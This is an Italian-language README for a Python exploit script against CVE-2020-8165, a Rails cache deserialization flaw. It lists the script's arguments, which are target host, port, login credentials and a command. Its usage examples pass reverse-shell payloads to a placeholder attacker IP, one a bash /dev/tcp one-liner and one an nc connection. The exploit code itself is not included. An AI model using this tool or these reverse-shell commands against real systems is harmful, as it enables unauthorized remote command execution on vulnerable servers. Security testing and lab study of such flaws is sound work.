CVE-2020-8165 Exploit Python

Questo è un codice per sfruttare CVE-2020-8165 usando Python3. Questo exploit funziona con Rails < 5.2.4.3, Rails < 6.0.3.1. L'exploit consente a un aggressore di deserializzare oggetti forniti dall'utente in MemCacheStore e RedisCacheStore. Questo codice exploit utilizza ArgParse per consentire all'utente di sfruttare questa vulnerabilità in modo molto semplice.

Utilizzo

Ci sono cinque argomenti per questo exploit:

• rHost - L'indirizzo IP dell'host remoto target
• rPort - Il numero di porta dell'host remoto target su cui Rails è in esecuzione
• email - L'email utilizzata per accedere al servizio
• password - La password dell'account per accedere al servizio
• cmd - Il comando da eseguire, tra virgolette per gestire gli spazi

Esempi:

• python3 exploit.py 10.10.10.X 8080 [email protected] password "bash -c 'bash -i >& /dev/tcp/10.10.X.X/8989 0>&1'"
• python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989"

Crediti Principali

Dettagli originali del CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8165 Codice exploit Pastebin che ho ritoccato e a cui ho aggiunto arg parse: https://pastebin.com/jpHpdBTk